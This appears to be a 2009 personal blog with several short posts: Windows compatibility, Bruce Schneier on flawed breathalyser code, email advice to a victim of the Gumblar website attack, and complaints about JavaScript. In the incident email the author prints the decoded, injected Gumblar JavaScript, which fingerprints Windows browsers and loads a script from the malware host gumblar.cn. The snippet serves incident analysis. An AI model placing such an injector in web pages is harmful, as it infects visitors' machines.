(malware) walk too loudly...

Well there you have it, straight from the horse's mouth :-)

http://www.infoworld.com/d/windows/your-companys-apps-incompatible-windows-7-shim-them-says-microsoft-394

Microsoft has long created its own shims rather than making laborious bug fixes to Windows' oft-brittle code.

"If you walk too loudly down the hall near the [Windows] kernel developers, you'll break 20 to 30 apps," Jackson joked.

linux users are missing all the fun :-)

http://www.martinsecurity.net/2009/05/20/inside-the-massive-gumblar-attacka-dentro-del-enorme-ataque-gumblar/

• Steals FTP credentials
• Sends SPAM
• Installs fake anti virus
• Highjacks Google search queries
• Disables security software

why open source is important...

http://www.schneier.com/blog/archives/2009/05/software_proble.html

quoted verbatim from Bruce Schneier's blog (link above).  I hope he doesn't mind -- I'm doing this because this is really important, and I know some of my readers don't click on links (you know who you are!)

----------------------------

Software Problems with a Breath Alcohol Detector

This is an excellent lesson in the security problems inherent in trusting proprietary software:

After two years of attempting to get the computer based source code for the Alcotest 7110 MKIII-C, defense counsel in State v. Chun were successful in obtaining the code, and had it analyzed by Base One Technologies, Inc.

Draeger, the manufacturer maintained that the system was perfect, and that revealing the source code would be damaging to its business. They were right about the second part, of course, because it turned out that the code was terrible.

2. Readings are Not Averaged Correctly: When the software takes a series of readings, it first averages the first two readings. Then, it averages the third reading with the average just computed. Then the fourth reading is averaged with the new average, and so on. There is no comment or note detailing a reason for this calculation, which would cause the first reading to have more weight than successive readings. Nonetheless, the comments say that the values should be averaged, and they are not.

3. Results Limited to Small, Discrete Values: The A/D converters measuring the IR readings and the fuel cell readings can produce values between 0 and 4095. However, the software divides the final average(s) by 256, meaning the final result can only have 16 values to represent the five-volt range (or less), or, represent the range of alcohol readings possible. This is a loss of precision in the data; of a possible twelve bits of information, only four bits are used. Further, because of an attribute in the IR calculations, the result value is further divided in half. This means that only 8 values are possible for the IR detection, and this is compared against the 16 values of the fuel cell.

4. Catastrophic Error Detection Is Disabled: An interrupt that detects that the microprocessor is trying to execute an illegal instruction is disabled, meaning that the Alcotest software could appear to run correctly while executing wild branches or invalid code for a period of time. Other interrupts ignored are the Computer Operating Property (a watchdog timer), and the Software Interrupt.

Basically, the system was designed to return some sort of result regardless.

This is important. As we become more and more dependent on software for evidentiary and other legal applications, we need to be able to carefully examine that software for accuracy, reliability, etc. Every government contract for breath alcohol detectors needs to include the requirement for public source code. "You can't look at our code because we don't want you to" simply isn't good enough.

advice to someone recovering from an attack

Dear <deleted>,

on <deleted>, <deleted> wrote:

Dear Sitaram,

Thanks again for taking time for us.
This is really helpful info and as we have discussed FTP and compromised client PC's seems to be the culprit.

We have taken following steps:

<deleted specifics of Windows protection measures taken, as well as remote access changes>

It will be very helpful if you can help us to formulate and implement an IT security guide line.

Sorry for a long-winded, rambling, reply, but basically, a guideline cannot be created just like that.  You'll have to take the basic assumption (which is: if it is possible, it will happen!), and use that to pinpoint all the places where you can get attacked, and then come up with a plan.  With that caveat, here're some random thoughts in response to your email.

(1) Taking all those steps to protect windows is good but at the end of the day it is basically insecure.  The legacy of "one user per machine" is deep inside Windows, and cannot be easily overcome.  Linux and other Unixes (FreeBSD, NetBSD, Solaris/OpenSolaris, etc) -- while apparently more difficult -- start with the multi-user mentality, which is inherently more secure (see footnote).

The sooner people realise this and move on, the better.  When I find a Windows dependency, I take it as a sign that the other thing, (not I), has to change.  If I can change it, I will.  If I cannot, I put Windows in a Virtual Machine running inside Linux, make sure all data on Windows is transient, and rollback the virtual machine once a week or so.  No virus can get past that :-)

(2) Most of the problems come from the web.  All your Symantec protection may not be sufficient to detect if your web browser is silently going to a malware host like gumblar.cn.  How do you know that it isn't doing so?  You can test this one because you know about it.  How will you test all the others that you don't know?

(3) AV companies are, by nature, reactive.  You are paying for the hope that (i) they discover the bad site, (ii) update their signatures, and (iii) let you download the updates, all of this before the bad site discovers you!  This is difficult.  Most people who say "I never got hacked" don't realise that this is only by pure chance!

(4) The best security policy is one that assumes you will be attacked.  Let me give you a somewhat extreme example: here's how I deal with it.

1. I run Linux everywhere, and Windows restricted only if absolutely needed as described above.
2. Even in Linux, Firefox is not immune to Javascript hacks.  Most of the hacks coming through JS are directed at exploiting Windows holes, but I assume there may be some unknown Linux one also somewhere (nothing is perfect you know!)  So I do my normal browsing as some other user (a very "no rights" userid called "ff" I created just for firefox).  Pubkey auth allows "sitaram" to run ssh commands as "ff", so typically my firefox will start as "ssh ff firefox" instead of "firefox".  The setup is one-time, and very easy.
   
3. This means, even if someone compromises my firefox browser, he only gets access to that userid (which contains no files of any real use), not "sitaram" (which is where all my files and email etc are).
4. Even then, I run with NoScript and AdBlockPlus, enabled.  By default, no site gets JS on my browser.  Normally, if a site insists on JS, I mentally thank them for saving me some time and move on :-)  If I need that site more than it needs me, then I allow JS on that site.  Temporarily.  NoScript makes this very easy.
5. The "sitaram" userid never runs a web browser except to specific sites (like my company intranet portal, and my bank, irctc for train tickets, etc).  Basically, anything that has personally/financially important info runs from this userid, all general browsing (including slashdot, for example) runs from the other id.  This is far more separation than Chrome can give you; it's two completely different users, in an OS that (as I said before) knows how to separate users properly.
6. Both firefoxes are set to delete all data except browsing history when the browser closes, and never to save passwords.  That's a one time preference setting.  Like the old Hero Honda ads used to say, fill it, shut it, forget it :-)
7. No two sites I log onto have the same password or even similar password.  This is a tough one in practice, I agree, but it has to be done.  If someone manages to find out your yahoo password they should not be able to gain access to your gmail :-)
8. People say "you should never write down passwords".  Bullshit.  You can safely write down subtle hints/reminders or simple variations with extra noise etc. -- just sufficient to refresh your memory.  It's a lot easier to protect a physical thing (a piece of paper in your wallet) than the stuff you can't see.  In my case, the people who have physical access to my wallet are people I already trust or who will never make any sense out of a random set of meaningless characters.  This is a lot safer than using the same password for unrelated sites because you find it difficult to remember so many!

OK enough rambling.  But you cannot imagine how much all of this will protect you compared to all the reactive Symantec style stuff.  Of course, if (for example), icicibank.com gets infected by the gumblar.cn style attack, then I have a big problem!  I'll talk later about how one can protect against that.

I hope I have given you some food for thought.  We can talk about this in more detail later this week, if you wish.

Regards,

Sitaram

(*)  Why are they inherently more secure?  They start with the assumption that each user, and the OS itself, must be protected from the other users' actions.  Although recent Linux distributions have diluted this a bit to cater to the Windows crowd, the basic premise is still the same and still works.

Sitaram Chamarty wrote:

Dear <deleted>,

The base 64 coded stuff in the first file decodes to an obfuscated Javascript, which -- when again decoded -- becomes:

var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;if((u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");document.write("<script src=//gumblar.cn/rss/?id="+j+">

The second file has similar obfuscated JS; at a quick glance, (and knowing some of the hex codes of ASCII characters) it looks the same as the previous one, and in particular does have "gumblar.cn" in it.

So, we have "gumblar.cn".  A quick google on that gives me a lot of stuff, in particular http://blog.unmaskparasites.com/2009/05/07/gumblar-cn-exploit-12-facts-about-this-injected-script/ which bears out my initial estimate that this happened due to insecure ftp.  I strongly suggest you go through that entire page asap, especially the comment  http://blog.unmaskparasites.com/2009/05/07/gumblar-cn-exploit-12-facts-about-this-injected-script/comment-page-1/#comment-916

http://www.bleuken.com/2009/05/06/removal-and-prevention-of-gumblarcn-infection/ and others also say that infection starts from the local PC used to upload.

Seriously, if you don't need Windows, ditch it.  Ditch it for all but the most needed functions, and keep them air-gapped (meaning they pass data onto a bastion host running Linux, the stuff gets checked there -- visual inspection of all code if needed -- and then it moves from there using only pubkey access to the server).

And really, any hosting provider who does not give you ssh access should be out of business.  This is 2009 :-)

Regards,

Sitaram

on the use(lessness) of ISO post the OOXML debacle

http://lwn.net/Articles/331326/

some good points...

gratuitous Javascript

Someone sent me a link to an article on indiatimes.com, especially pointing out something about the comments.  My reply:

---------------------

I can't see any comments; they are obscured by needless, meaningless, gratuitous, Javascript.

The amazing thing is that the comment leaders load along with the main page.  They're just not **visible** unless you have JS turned on.  In other words, they made an effort to **actively hide them** unless you have JS turned on -- it wasn't just an artefact of whatever brain dead web development software they're using.

My policy on JS is this: if I absolutely **must** use the site (like my bank, railway reservations, bill payments, and Ultamatix) I will turn it on.  Otherwise, a site that requires JS can do without my viewership and patronage.

And I most certainly will **not** switch on Javascript for a fluff rag like the TOI.  What happened once can happen again.

so this is how they get their jollies...

do the terrorists know their religion is being side-tracked?

http://yro.slashdot.org/comments.pl?sid=1218935&cid=27788361

Oh and if you think this is unsubstantiated, just google for it using some appropriate keywords; you'll find plenty of corraboration.